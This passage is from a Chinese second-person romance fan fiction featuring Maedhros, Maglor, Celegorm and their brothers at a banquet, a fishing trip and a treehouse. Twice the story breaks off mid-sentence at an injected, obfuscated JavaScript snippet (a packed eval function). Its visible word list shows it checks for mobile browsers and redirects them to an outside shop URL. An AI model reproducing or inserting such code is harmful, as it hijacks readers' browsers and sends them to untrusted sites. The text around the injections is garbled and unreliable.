这是和你说话的语气吗?你扬起下巴,“你就是卡兰希尔?” “正是。”卡兰希尔说,“你和我想象的不太一样。” “好巧,你的弟弟之前也是这么说的,我指的是阿姆罗德和阿姆拉斯。” “他们还以为你是强大的勇士呢。”卡兰希尔笑了一下,见状,你又喝了一口百香果汁,将百香果籽咬得咯吱咯吱作响。 很好,你确定了,你在不久后就要在训练场狠狠地把他按在地面上摩擦。 只有这样才能挫挫他的锐气。 卡兰希尔不知道你在想什么,他甚至还笑着说:“你连酒都不能喝吗?” “是啊,我是人类,不是精灵没有那么好的酒量。”你笑着说。 卡兰希尔还真的以为自己占上风了。、 你在宴会上光顾着吃点心了,基本上没有去跳舞,凯勒巩不知道是什么时候跑到你身边的,他说:“你不去跳舞吗?” 他管的还挺多,你心想,你没拿正眼瞧他,也不是你没礼貌只是单纯的因为他编在金发里的钻石太耀眼,哪怕你用眼角的余光扫他都会被闪到眼睛,他整个精灵都在发光,为了保护你的双眼,你目视前方不紧不慢地回答他的问题,“那你怎么不去跳?” 没成想凯勒巩好像就等着你这么说,他骄傲地扬起下巴,说:“如果我去跳舞的话那岂不是抢了其他精灵的风头?” 也对,光是他头发上花里胡哨的钻石装饰就足以成为整个舞会的焦点,你忍着笑说:“那你还真是贴心。” “那当然。”凯勒巩对于你的夸奖那叫一个大大方方地收下,说好听点就是他配得感很高,说实在点就是这精灵不会读空气。 你笑了一下,嘴唇抵着高脚杯,你喝完一杯百香果汁后就又拿了一杯蜂蜜水,精灵宴会上的高脚杯都是经过精雕细琢的。 凯勒巩注视你的目光是不加掩饰的,估计他是那种偷看被抓包还会嚷嚷着“我多看你两眼是你的荣幸”的这种精灵。 很可惜,现在傲娇的类型都退市场了。 凯勒巩在盯着你看的时候又在思考什么呢?你不在乎,也懒得去费心思猜测。 “那条吊坠,是父亲在迈兹洛斯成年的时候送给他的。” 那么问题又来了,现在距离迈兹洛斯成年大概过去了几年?不对,应该是几百年吧?你突然意识到自己挂在脖子上的吊坠原来是老古董啊。 “是么,那你的成年礼又是什么?”你的手指摩挲着那条血红色的吊坠,动作轻柔,纤细修长的白皙手指将那枚宝石托起,玩弄在掌心,而吊坠的原主人也身处同样的境地。 说起这个就来气,凯勒巩说:“没什么,就是一对臂环,哼,可没有迈兹洛斯的漂亮。” 你也能理解,毕竟夹在中间的孩子总归没有第一个孩子那么受重视,更别提他们家一共有七个孩子。 “但我觉得你戴臂环的样子应该挺好看的。”你出于礼貌这么来了一句,凯勒巩骄傲地笑了,说:“那你确实是个有品位的人类。” 不是吧,这么容易哄得开心啊?哥们你多少有点白给了啊,你忍不住在心里这么想。 凯勒巩不懂人类这些弯弯绕绕,他只觉得你是个说话好听,而且也长得好看的人类,他不介意你在这里长久地住下去。 宴会结束以后你和迈兹洛斯离开宴会厅,感谢精灵没有抽烟草的习惯,所以宴会到尾声的时候空气中飘着的也是各类花香还有美食的香味,你倒是很喜欢这种氛围。 宴会厅外的长廊外侧是镂空的设计,星光洒下,在地砖上投下规整的斑驳,就跟棋盘格似的,你踩着星光的斑驳,动作熟练地玩起跳房子。 蓬松的裙摆影响实在是影响你的发挥,于是你索性将层层叠叠的裙摆抱起,捧在怀里,如同拢着一束丝绸做的花束,裙摆被你的动作带起,露出一截白皙的小腿。 在你发力往前踩格子的时候小腿的肌肉也跟着绷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等你回到卧室,已经有精灵给你准备好了好几套睡衣还有常服,都折叠好了放在床尾,你把衣服捧起来还能闻到上面蓝风铃的香味,迈兹洛斯说:“这应该是玛格洛尔让其他精灵准备的,他总是那么贴心。” 也就是说你的睡衣也是玛格洛尔给你挑的吗?那他这个精灵还真是有点意思。 你说:“那我明天见到他得要好好谢谢他才行。” “其实也不用特意感谢。”迈兹洛斯突如其来地感觉到一阵别扭,就像是触碰到藏在柔软棉花里的细针,猝不及防的刺痛让他蹙眉,他说,“玛格洛尔会为了其他精灵也那么做的。” 将玛格洛尔的行为扩大到整个精灵的层面,仿佛这样就能弱化玛格洛尔对你的特殊性,迈兹洛斯在无意间就那么做了。 你从中挑选一套睡衣,简单的洗漱过后就要睡觉,你平躺着的时候迈兹洛斯凑了过来,说:“所以你觉得希斯路姆怎么样?” 啊?不是吧大哥,你才来这里不到一天啊,这和看完一部电影就要求写读后感有什么区别?你上学的时候最讨厌这种活动了,于是你敷衍地说:“还可以吧。” 迈兹洛斯显然对你的回答不是很满意,但他再追问下去好像会显得咄咄逼人,你隐约捕捉到他的叹息声,浅浅的,但萦绕在你的耳边,你说:“但是我很喜欢你,所以不用担心,我日后也会喜欢这里的,正所谓爱屋及乌嘛。” 说着,你又伸出手摸摸他的头发,在口头和行动上双重顺毛,迈兹洛斯终于笑了。 看来他还是高兴得太早了,你不光是喜欢这里,还挺喜欢他的弟弟的,也不多说了,他的弟弟你都笑纳了。 经历了一场宴会的你真切地感觉到了疲惫,没过多久就沉沉睡去,一觉睡到天亮。 等你醒来的时候都可以直接吃午餐了。 抱歉,睡懒觉就是这么惬意,你上辈子进入职场以后就没怎么睡过懒觉,现在你简直是要把自己没睡过的懒觉全都补回来。 你醒来的时候身边没有迈兹洛斯的踪影,你坐起来就看见自己这边的床头柜上放着的小纸条。 ——我需要处理一些公务,如果要找我就去书房吧。 真可怜,大早上的还要工作,你就不去打扰他了。 你走下床,塔拉着拖鞋去盥洗室洗漱,然后换上一套常服去吃早午餐,当你从迈兹洛斯的寝宫走出,一路上遇到不少诺多精灵,他们都会热情地和你打招呼,你虽然记不清他们的名字,但也会礼貌地点点头,并且和他们说早上好。 “现在说早上好会不会太迟了一点?”玛格洛尔的声音飘过来,他身上还带着熟悉的蓝风铃香味,见你看了过来,他就又问,“你都认识他们吗就这么热情地打招呼。” “不认识啊,但不妨碍我表达自己的友好。”你在出门的时候随手将头发扎成高马尾,整个人显得简洁干练,“倒是你,怎么管那么多?” “是迈兹洛斯让我来看看你,他担心你在这里迷路了找不到餐厅。” 你拿的不是这种笨蛋美人的剧本吧? 你说:“如果我迷路了可以问别的精灵。”你又不傻。 “总之,迈兹洛斯让我过来。” 好忠心的弟弟啊,你说:“那你吃早餐了吗?” “这不是必然的吗?只有你会睡到这么晚才起床。” 你摊手,无奈地说:“谁让你的哥哥太磨人了呢。” 此话一出,玛格洛尔脸色变了又变,最后说:“别和我说这些,我不感兴趣。” 你也不耍嘴皮子了,笑着道歉,但一如既往地没什么歉意,他领着你去餐厅,通过长廊的时候白日的星光也在长廊的地面上投下棋盘格的斑驳,玛格洛尔忽然问:“现在你蹦蹦跳跳了吗?” 啊?你没有空腹做有氧的习惯啊,你的第一反应是这个,接着又忽然想到了什么,神情狡黠地问他:“你昨天都看见了?你一直在看我们吗?” “没有。” “那就是一直在看我。” “……没有。” 18.第 18 章 玛格洛尔是犹豫了一下才回答的,这足以让你找到他的破绽,他将头转到另外一边以此来躲避你的目光,但好像效果不怎么样,因为到头来他还是会忍不住地偷偷看你。 下次他就该拒绝兄长迈兹洛斯关于你的请求的,他说:“你笑够了没有?” 唉不是吧,这就急了?你都还没说什么呢,你歪了歪脑袋,说:“请别对我生气呀,我也想和你好好相处的。” 他才没有生气,玛格洛尔在心里回答你,等你笑够了,他以为这件事情就过去了,但你对他招招手,他也是没长记性,你一招手就过去,然后就被你拉着一块玩起跳房子。 这波是真的空腹有氧了,等你到餐厅的时候你先给自己倒了一杯温牛奶,然后再开始吃面包,玛格洛尔就在你旁边坐着,这里的餐厅非常宽敞,就跟宴会厅似的,屋顶是半透明的穹顶设计,而且在穹顶附近还有精美的壁画。 优雅,实在是优雅,你感觉在这种场合里就应该端着高脚杯喝红酒,端着牛奶的你都和这里格格不入。 玛格洛尔没说话,太安静了,只剩下你很细微的咀嚼声,最后他实在是坐不住了,总得要说点什么才行,于是他问:“你就不想问问我迈兹洛斯在做什么吗?” “处理工作上的事情呗,他留的纸条上是这么说的。”吃完一片面包,你又用叉子叉起一块蜜瓜就当是餐后水果,蜜瓜的口感脆脆的,很清新解腻。 “这么说就太简单了,他现在要处理的是一个至高王要面对的问题。” 你撇撇嘴,什么至高王,不会还要再来个九子夺嫡,不对他们只有七个兄弟。 只不过这和你又有什么关系?虽然你们现在确实是恋人,但不代表你什么都要操心吧,而且你才不想转生到异世界还要上班这样只会显得你的命很苦。 “那你为什么不去帮忙?哦……我知道了,你要盯着我,免得我做出对他不忠的事情对吗?”你手里还举着银质的叉子,叉子的背面倒映出玛格洛尔为难的神色,然后这个叉着蜜瓜的叉子就被你送进嘴里,连同玛格洛尔的倒影,仿佛你也把他给吃掉了。 “你想多了。” 你哼哼两声,不置可否。 用过早餐以后玛格洛尔问你要去哪里,你说:“你想要邀请我去哪里吗?” 他才不是这个意思,但自己说出的每一句话都会被你误解扭曲成另外一层意思,久而久之地,他的思绪也会跟着你的思路跑,怎么也拉不回来,起初他还会感到烦躁,觉得自己这是在被你牵着鼻子走,但后来他都习以为常,别误会,他不是向你屈服了,这只是权宜之计而已。 毕竟总有一天你肯定会有露出破绽的时候,在此之前他需要做的就是保持忍耐的态度。 玛格洛尔就是这么说服自己的,所以在你这么问的时候他说:“你想要去哪里?” 你想到迈兹洛斯和你分享过的玛格洛尔小时候钓鱼反而被大鱼拉到湖水里的故事,你说:“那就去钓鱼吧。” 果不其然地,听到你这么说玛格洛尔微不可察地皱皱眉,说:“钓鱼?”那语气像是在问你选什么休闲活动不好非得要去钓鱼到底是什么品味。 “是啊,就是钓鱼。” 见你态度坚持,玛格洛尔就松口了,说:“好吧。” 在出发去后湖前你们先是去库房里取走两根鱼竿,取走的时候还得要登记一番,玛格洛尔说:“卡兰希尔负责管理库房,要是没好好记录的话他又要生气了。” 确实,看得出来卡兰希尔是那种非常注重秩序和条理性的精灵,确实不能忍受其他精灵扰乱库房的秩序。 这个登记表上面除了日期和物品名称还有数量,最后还得要写自己的名字,玛格洛尔先写下自己的名字,你很自然而然地在他的名字旁边写上自己的名字,两个名字就这样互相挨着,就和你们现在一样,也是胳膊挨着胳膊的。 玛格洛尔盯着你的名字看了一会,最后说:“你没有好好练过字吗?” 什么啊,在这种暧昧的氛围下他能想到的就是你的字迹不好看? 你忍不住冲他眨了眨眼,无声地问他:你没事吧? 玛格洛尔却显得很认真,他说:“你真应该好好练练字。” 他向你抛出一个劝学的建议,然后你把他这条建议给推了回去,你说:“迈兹洛斯还说我的字可爱呢。” “哪怕你做什么他都会觉得可爱的,哼,爱情会让精灵变得盲目。” 搞什么啊,他在吃醋吗? 你放下羽毛笔,说:“得了吧,你就是羡慕。” “我没有。” 你一手拿着鱼竿,另外一只手叉腰,神采奕奕地望向他,门口的星光恰好落在你身上,你说:“你说谎。” 玛格洛尔下意识紧紧地握住手里的鱼竿,他心不甘情不愿地承认你确实可爱。 但绝对不能告诉你,否则你又会用那种得意洋洋的,一切尽在掌握中的神情看他的。 他说:“快点去钓鱼吧。”为了结束这个话题他甚至不惜催促你快些去钓鱼,要知道他本身对钓鱼的兴趣不大,你要是真想玩这些,就该找凯勒巩,他还处在对这些活动感兴趣的年纪。 不过凯勒巩太容易被你的表象欺骗了,玛格洛尔身为哥哥也不能让自己的弟弟冒险,所以还是让他来吧。 你们朝着后湖走去,路上你还会无聊地甩甩鱼钩,你没控制好力道,玛格洛尔说:“别乱甩,很可能会勾住衣服——” 还没等他把话说完,你的鱼线就缠绕着他的手指,你笑着说:“我钓到了!” 玛格洛尔把鱼线解开,说:“我可不是鱼。” 现在不是,但以后就不好说了。 等你们来到后湖,准确来说应该是距离后湖还有几百米的时候你就发现后湖的岸边有什么东西在闪闪发光,你问玛格洛尔那是后湖的地标建筑吗好耀眼。 玛格洛尔用精灵的视力看了一眼,和你说那是凯勒巩。 “哦,是凯勒巩啊。”那没事了。 凯勒巩也发现你们要来钓鱼,他就热情地对你们挥挥手,你走近以后还是不可避免地被他身上的钻石闪光晃到眼睛,凯勒巩那双冰蓝色的眼瞳在星光的照耀下变成了半透明的浅蓝色,犹如精雕细琢的宝石。 你才坐下就听见玛格洛尔问道:“你的鱼竿是从库房拿的吗?” “是啊。”凯勒巩回答道。 玛格洛尔又说:“那你登记了吗?” 闻言,这下子凯勒巩才“噢”了一声,后知后觉地意识到自己好像还没登记,而卡兰希尔那个暴脾气的精灵要是发现了这一点估计又得要和他计较一番,凯勒巩皱皱眉,而后说:“算了,也不用着急,而且我感觉自己就要钓上大鱼了!” 每个钓鱼的人都会这么想。 反正他已经提醒过了,只是凯勒巩没放在心上而已。 玛格洛尔就坐在你和凯勒巩之间,正好起到一个隔绝凯勒巩身上耀眼光芒的作用。 在凯勒巩说完这话没多久就真的有鱼咬钩了,凯勒巩兴奋地握住鱼竿奋力一挥,然后一条有你胳膊那么长的大鱼就被带出水面,鱼尾残留的水珠在半空中划出一道优美的弧度,你看着那条可以让钓鱼人在城里专门绕一大圈就为了炫耀的大鱼。 心里只有一个想法,那就是:不是吧,来真的啊? 之前你还以为凯勒巩在装呢,没想到是真的。 凯勒巩提着那条大鱼,朝你露出一个张扬的笑容,“苏尔,看——我钓的鱼!” 玛格洛尔幽幽地说:“这也值得炫耀吗?” 凯勒巩一个转身,还在挣扎的鱼尾差点就要贴上玛格洛尔的侧脸给他一个巴掌,还好玛格洛尔闪得够快,但他的脸颊上还是不可避免地溅上几滴水珠,然后顺着他的下颌滑落。 “你就羡慕吧。”凯勒巩和玛格洛尔说完这话就要跑过来让你近距离观察这条鱼,那样子臭屁得很。 凯勒巩就跟个移动的光源似的,他一来你周围的亮度都上升了一个度,你说:“很厉害。” “胡安肯定会喜欢的!” 忘记说了,胡安是凯勒巩养的一条狗,长得那叫一个威风凛凛,而且还很聪明,放在现代社会凯勒巩就是妥妥的无孩爱狗男,非常时髦的人设。 玛格洛尔还想说些什么,他看见你笑眯眯和凯勒巩聊天的样子心情就感到郁闷,一方面惊讶于你的善于伪装,居然能在凯勒巩面前伪装成另外一副模样,另外一方面则是感觉到了不公平。 他的弟弟什么都没做就能换来你的好态度,他替你做了不少事情你还会处心积虑地挑刺。 而且他能够清楚地感觉到你这就是故意的。 凯勒巩提着那条鱼返回宫殿,只留下你和玛格洛尔坐在岸边,玛格洛尔说:“你倒是很喜欢凯勒巩。” “我也很喜欢你啊。” 你这话打得玛格洛尔猝不及防。 玛格洛尔沉默不语,只是一味地甩鱼竿,然后单手托腮静静等待鱼儿上钩。 切,装什么深沉啊,你在心里嘟哝一声,然后一屁股坐回到小马扎上面,他钓鱼,你也钓鱼,你可以确定他的钓鱼技术绝对没有你的好。 你的鱼钩才沉下去没多久就有鱼咬钩了,你略带小骄傲地哼哼两声,嘿咻一下就把鱼给生拉硬拽上来。 反抗?反抗是没有用的。 万事开头难,可一旦开了个好头那就会顺利不少,你这边的情况就是这样,自打你钓上第一条鱼,后面的鱼就跟葫芦娃救爷爷一样一个接着一个地送。 与之形成鲜明对比的是玛格洛尔那边岿然不动的鱼竿,这下子他总算是有点沉不住气了,他都已经做好被你嘲讽的准备了,但你却说:“没关系的,我知道精灵也有自己的长处和短处的。” 没想到你居然还会安慰他,玛格洛尔抬起头,恰好你正低头看他,你们四目相对,他忽然想起你刚才说的话,你说你也很喜欢他,听着不像是假话。 最后的结果就是你提着满满当当的一木桶的鱼回去,身边还跟着一个心事重重的玛格洛尔,你觉得自己也该去看看迈兹洛斯了,主要是他很擅长杀鱼,杀鱼技术娴熟得可以当专门的杀鱼工了。 可当你来到迈兹洛斯的书房里却扑了个空,不是吧,他去哪里了? 你的杀鱼师傅去哪里了? 友善的诺多精灵贴心地和你说:“陛下似乎去西面的森林里了。” 那个精灵说陛下你一下子还没转过弯来,花了两秒才意识到这说的是迈兹洛斯,唉,还不如直接说名字呢。 你对那个精灵说了一声谢谢,然后又朝着西面的森林走去。 得益于之前在荒原赶路的经历,你现在走起路来那叫一个健步如飞,不多时你就来到西面森林的入口,不过你还是低估了这个森林的占地面积,不过好在迈兹洛斯的红头发很显眼,而且你从进入森林开始就一直呼唤迈兹洛斯的名字,迈兹洛斯和麦提莫的名字混着叫,还因为嘴顺编了很多外号。 考研后遗症还在追着你跑,随便两个名字你都能编个顺口溜。 也不知道什么时候你刚叫完一声迈兹洛斯,这位诺多至高王就从高耸入云的杉树上探出脑袋,说:“苏尔?” 你们中间还隔着一段距离,以至于你们聊天就跟唱山歌似的。 迈兹洛斯怕你等急了就从枝头一跃而下,也不是直接跳下来的,中间他还在其他的树枝上短暂地停留一下,以此来减缓冲击力,等到最后落地的时候动作都是轻飘飘的,他那衣角被微风掠起,着陆的样子犹如轻盈的蝴蝶。 紧接着这只蝴蝶朝你飞来,然后一把抱住你,你们还在原地转了一圈。 转一圈就够了,你就能够感受到他的爱的魔力了。 你拍拍他的胳膊示意他停下来,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16878165|191380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的双脚落地,你说:“你来这里做什么?” 迈兹洛斯对你笑了下,说:“本来还想瞒你一会的,但没想到你那么聪明地就找过来了。” 呃不,主要是那个路过的诺多精灵告诉你他在这里,然后就是你还需要一个杀鱼师傅,不过既然他夸奖你聪明,那你也就理直气壮地将赞美收下。 你顺着他的意思说:“对,我想来见见你。” 第一次谈恋爱的精灵不知道情话也是可以被斟酌后说出来的,精灵的本性会自然而然地将恋人说的话都当成真心话。 迈兹洛斯低头,额头抵着你的额头,向你展现出非常亲昵的姿态,过了一会他才说:“好吧,那就只能将惊喜提前了。” 话音落下,他直起身,给你指了一个方向,你顺着他手指的方向看去,看见了搭建在那棵最高的杉树上的小木屋,外形和你们当初在逃亡途中临时建造的那一座一模一样,你惊讶地微微睁大眼睛,迈兹洛斯说:“我知道你很喜欢那个木屋,但很可惜我们没办法带走,不过没关系,我又做了一个新的,这也算是兑现了我的承诺。” 啊?承诺?什么承诺?你眨巴眨巴眼睛,噢……他好像确实说过,但你以为说过就过,毕竟在人类的对话语境中有很多诸如此类的情形,比如说“到时候”“有机会”“下次一定”,所以你当初也没把他说的话放在心上。 但没想到他居然是认真的啊? “虽然现在还是半成品,但你想要上去看看吗?”迈兹洛斯说。 既然来都来了,那当然要去看看的,本着这样的想法你点点头,说:“可以啊。” 因为是半成品,所以就连软梯都没有,得要通过错综复杂的树枝往上爬,好在你已经很习惯爬树了,而且你也不恐高,所以三下五除二就来到树屋门外的平台上。 在进门前你忍不住问了一句,“对了,你是什么时候开始建造这个木屋的?” 迈兹洛斯说是从午后开始的,你估算了一下时间,发现他用了一下午的时间就直接做了木屋出来。 诺多精灵的建造天赋恐怖如斯。 迈兹洛斯旋即又推开门,映入眼帘的是和曾经的木屋差不多的布局,简直就是一比一复刻,你跑到小木屋里转了一圈,看看这里,再看看那里,最后站在浴室门口,你发现缺少什么了,那就是门口的流苏还有帘子。 还没等你开口迈兹洛斯就说:“流苏需要一点时间。”说着,你看到放在桌子上的半成品流苏,你都能想象出迈兹洛斯坐在桌边专心致志串珠子的画面了,不免让你觉得有些好笑,你说:“所以你就是坐在这里串珠子的?” “站着串珠子也不方便啊。”迈兹洛斯没听明白你说这话的重点,他只是觉得坐着串珠子要方便一些,仅此而已。 你说:“那我和你一块串吧。” 然后你们俩就坐在桌边串珠子,迈兹洛斯还会特意选择不同的颜色进行撞色搭配,不得不说,精灵对颜色的感知力很强,而且审美也很高。 嘴上说着要帮忙,实际上串到一半你就开始玩珠子,别说是帮忙了,不添麻烦就算好的。 迈兹洛斯也不介意,还抓了一把火红色的水晶珠子给你,那些水晶质地晶莹剔透,看上去品质就很好。 又玩了一会,迈兹洛斯突然说:“对了,你今天和玛格洛尔玩得开心吗?” 你将珠子从这头拨到另外一头,也没抬头,说:“开心啊。” “开心就好。” 等他的声音在空气中消散你才感觉到不对劲,你转过头去看他,戳戳他的手背,再捏捏他的耳垂,说:“你吃醋啦?” “没有啊。” 他还真挺嘴硬的。 你趴在他的肩头对着他的耳朵轻轻地吹了一下,然后你就感觉到他的身形都战栗了一下,他问你做什么。 “你就是在吃醋。”你笑眯眯地说。 “好吧我承认,但我也知道这种情感是不对的,我不能因为你和我的弟弟关系好就生气,这对你和玛格洛尔都不公平。” 真是好成熟大度的兄长,你也借着这个机会将他的底线试探得一清二楚。 迈兹洛斯继续串珠子,但是被你盯着看的时间久了,他手上串珠子的动作也跟着变慢,最后放下一串穿好的珠子,“你这样看着我都让我没办法集中注意力了。” “那来做点别的吧。”你拉过他的手,然后低头轻轻地咬了一口他的小臂,你捕捉到他的呼吸节奏都变了。 他向你靠近,脸颊贴着你的脸颊,嘴唇摩挲过侧脸,有些尖锐的犬牙掠过你的皮肤,但到最后都没舍得咬一口,他收敛犬牙,只是亲吻。 你的视线越过他的肩膀,看见那几颗火红色的珠子滚到桌边,然后倾珠泻玉般地落下,最终化作一片溅开的血珠,凯勒巩神色自若地挥刀给大鱼断头,血花四溢。 “你就不能换个没那么大阵仗的处理方法吗?”一旁的库茹芬说道,他精准地预测到血花溅开的方向,然后躲开,凯勒巩嫌他事情多,就说:“我就是喜欢这种方法,很干脆利落。” “但你的身上也会染上血腥味的,到时候没准会吓到那位人类。”看库茹芬的表情不像是在担心你,更像是在等着看好戏,他一向都是这样的旁观者心态,最擅长煽风点火,而他的哥哥凯勒巩又是他最好的搭档。 如果这次顺利的话,他还能见到你被吓到的样子,但库茹芬忘了你可是能从魔苟斯手里救下迈兹洛斯的人,也忘了凯勒巩有些欣赏你。 听到库茹芬那么说,凯勒巩觉得有点道理,就把手里的刀一丢,说:“行吧,那你处理吧,我去换衣服了,嗯……顺便再沐浴一下。” 只是想看好戏结果工作落到自己头上的库茹芬缓缓打出一个问号? 在凯勒巩走后库茹芬看了一眼躺在砧板上时不时抽搐一下的鱼,忍不住叹息一声。 唉,玩脱了。 19.第 19 章 到最后迈兹洛斯都没有把珠子串完,而且还弄得其他水晶珠子散落一地。 你和迈兹洛斯花了点时间把这些珠子都捡起来,然后放回到桌子上,你估摸着时间应该也不早了,就说:“或许我们该回去了。” 迈兹洛斯说:“你饿了吗?” 稍微有点,但这不是重点,你还想和迈兹洛斯炫耀一下你今天下午钓鱼的战果呢,你说:“你肯定猜不到我今天下午都钓了多少鱼。” “有一点我可以确定,一定比玛格洛尔钓的多。” 也就只有亲哥会这么说了,你说:“这话我会原封不动地转告给玛格洛尔的。” 迈兹洛斯说:“行吧,那可能接下来几天他都会冷脸以对。” 你们有说有笑地下树,然后手牵着手地回到宫殿,最先迎接你们的是玛格洛尔,他说:“我听其他精灵说你们去西面的森林了?” 相较于迈兹洛斯,你觉得玛格洛尔更像个管家,喜欢管这管那的,只不过他长得实在是漂亮,尽管你稍微有点烦躁,但一看他的脸就消气了。 “对啊,迈兹洛斯在那边搭建了一个树屋。”你说。 玛格洛尔的记性很好,他说:“我知道,我去过你们之前的那个树屋。” 他用无比坦然的语气描述自己已经去过你和迈兹洛斯的小树屋了,他没觉得有什么不对的,他当时也是为了确认兄长迈兹洛斯的踪迹,至于他在那个小树屋里找到的东西……他的脑海里忽然之间闪过某个画面。 红与黑的发丝交缠的画面,再结合你现在和迈兹洛斯的关系,玛格洛尔就像是误入恋爱现场的史蒂夫,顿时手足无措起来。 你察觉到玛格洛尔的神态变化,心说这哥们又在脑补什么了? “所以你有带走什么东西吗?”你的本意只是想要询问他有没有顺便带走一些装饰品什么的,正好可以放在新的木屋里,但玛格洛尔却忽然有些激动地反驳道:“我什么都没带走!” 哎,干什么啊这个精灵,你不就是问一句吗,有必要那么激动吗? 玛格洛尔发觉自己好像反应过度了,他深吸一口气,调整自己的语气,用熟悉的平和语气说:“除了迈兹洛斯还活着的消息,我没从那个木屋里带走任何东西。” 行呗,没带走就没带走,犯不着那么紧张,这样只会显得他很心虚。 没错,就是心虚。 你微微眯起眼睛,玛格洛尔立即移开视线,然后说:“晚餐已经准备好了。” 等你们三个来到餐厅,刚刚沐浴完顺便还用熏香把自己熏得香喷喷的凯勒巩就也来到餐厅,他一来就说:“是我来迟了。” 小说里的重要人物是未见其人先闻其声,他倒好,未闻其声先闻其香。 有点香过头了,你揉了揉自己的鼻尖,你的嗅觉都有点不舒服了,见状,迈兹洛斯就对弟弟凯勒巩说:“你离远一点,太香都熏到苏尔了。” 可凯勒巩就跟花蝴蝶和花孔雀似的偏偏要挤过来,他一过来就香气扑鼻,你眉头紧皱,对他作做了个手势,说:“可以了,保持这个距离就好。” 凯勒巩还不觉得自己做错了什么,玛格洛尔又问:“库茹芬呢?” “在后厨呢。”凯勒巩不以为意地说,而此时此刻正在后厨的库茹芬打了个喷嚏,他刚刚才处理好这些食材,尽管他在过程中一直都很小心谨慎,但还是一个不留神就沾了点鲜血在衣袖上,他低头看了一眼这些血点子脸色晦暗不明。 算了,还是先去收拾一番吧,总不能以这样的形象出席晚餐,这样想着的库茹芬朝着自己的房间方向走去。 而其他的费诺里安都陆陆续续地来到餐厅,库茹芬是最后一个到的,等他到的时候凯勒巩还问他怎么来得这么晚,这话问的,搞得好像他都不知道害得自己那么晚过来的罪魁祸首是谁。 库茹芬没好气地看了凯勒巩一眼,然后在他旁边的空位坐下,那个位置本来就是留给他的。 等精灵都到齐以后晚餐才正式开始,晚上的餐点都是各种鱼类,什么鱼汤,炸鱼排,鱼丸以及鱼肉羹,当然还有别的料理,比如说烤肉什么的,餐后甜点是各类水果派还有新鲜水果。 在场的精灵几乎喝的都是酒,只有你喝的是果汁,你不由地开始思考他们精灵喝那么多酒真的不会肝硬化吗?但是你转念一想,这个世界都有精灵的存在了,当然肯定也有不符合科学的地方,光是他们过分轻盈的体重就已经不符合物理定律了。 这是个让牛顿感到绝望的世界。 你安静地用叉子叉水果吃,他们说着说着就开始用昆雅语聊天了,情绪上来以后语速更是飞快,给你一种参加听力考试的感觉,算了,最后你索性不听了,就把他们的对话当成背景白噪音。 旁边的玛格洛尔递过来一小碟的奶油,说:“这些草莓有点酸。”意思是让你搭配奶油一块吃。 这精灵很会吃啊,你拿起一颗草莓沾了点奶油,这才是货真价实的奶油草莓啊。 见你吃得高兴,玛格洛尔的唇角也忍不住微微上扬。 是那种上扬两个像素点的微笑。 而且一旦你抬头他的笑容就会紧急撤回,生怕被你看见,就跟做贼似的小心翼翼,他自己也有点搞不明白为什么会有这种心理。 他就是不想让你看见自己会因为你的喜悦而感到高兴,搞得好像他的情绪会被你牵动似的。 他才不会被你牵着鼻子走呢。 或许是你的错觉,精灵出品的奶油也带着一股清甜,吃上去就很健康,这群精灵以后完全可以给人类卖保健品啊,这才是真正的保健品啊。 即便你和玛格洛尔坐得很近,但你们脑袋里想的却都是风马牛不相及的东西。 吃完奶油的你忽然抬头,看得入神的玛格洛尔没来得及收回自己的目光,更来不及撤回自己的笑容,只能连忙用手捂住自己的口鼻,然后惹来你的关心,你压低声音问道:“你也觉得凯勒巩香过头了对不对?” 听见你说悄悄话的凯勒巩“喂——”了一声。 这下子玛格洛尔也忍不住笑出声,他一笑,身上那冷冽的气质就如同初雪消融,显露出几分温和的姿态。 要说这张餐桌上谁最不高兴,那大概就是凯勒巩了,他没想到有朝一日会因为熏香太浓被其他兄弟嘲笑,偏偏他又是个急性子,受不得气,这会脸颊就已经涨红,说:“一群没有欣赏品味的家伙。” 等到晚餐结束以后你没有马上回寝宫,主要是晚餐吃得太多,你得走一走消消食,再加上迈兹洛斯好像一副有话要和你说的样子,你就顺势邀请他一块去散步,迈兹洛斯没有拒绝,你们沿着花园的小径无言地走着。 迈兹洛斯欲言又止,你都觉得烦了,就问:“你有什么话要对我说的吗?从刚才开始你就一直在看我。” 原来他表现得很明显吗?迈兹洛斯还以为自己伪装得很好呢,不过也是,他好像只有在你面前才能松一口气,或许是因为你已经见过他最狼狈的样子,所以他也下意识地将自己的内心向你袒露。 他说:“其实我除了这些弟弟还有别的一些手足。” 你知道的,大家族嘛,除了亲弟弟还有堂弟什么的,旁人听了还会觉得他在摆谱,但他确实能这么说,毕竟他家里的确有王位要继承,更正一下,他现在已经继承了王位。 所以他在这时候提起他的堂弟又想要说明什么呢?总不可能真的只是随口一提吧? 果不其然地,迈兹洛斯下一秒就又说:“我之前做了很多错事。” 啊不是,他这是把你当成修女开始忏悔了吗?你略带迷茫地歪了歪脑袋,又说:“是怎样的错事?” 迈兹洛斯斟酌用词,将他之前隐瞒的事实和你娓娓道来,当然,因为是从他的角度描述事情的来龙去脉的,所以难免会带有主观色彩,但总的来说还算客观,最后他总结一句,“或许像我这样的精灵再也无法顺利回到维林诺。” 不同于他表现得哀伤失落,你听完这个故事只觉得他们的父亲需要承担很多责任,你不觉得他们的父亲费艾诺当时是好声好气地征求他们的意见让这些儿子跟着自己一块来到中土的,更像是在煽动情绪以后顺势带着他们来到这里。 难怪他之前提起自己的母亲会显得那么心情复杂,估计他们的母亲眼睁睁地看着他们出奔心里也不好受。 想到这里,你说:“我认为这不是你的错。” “难道我一点错都没有吗?” 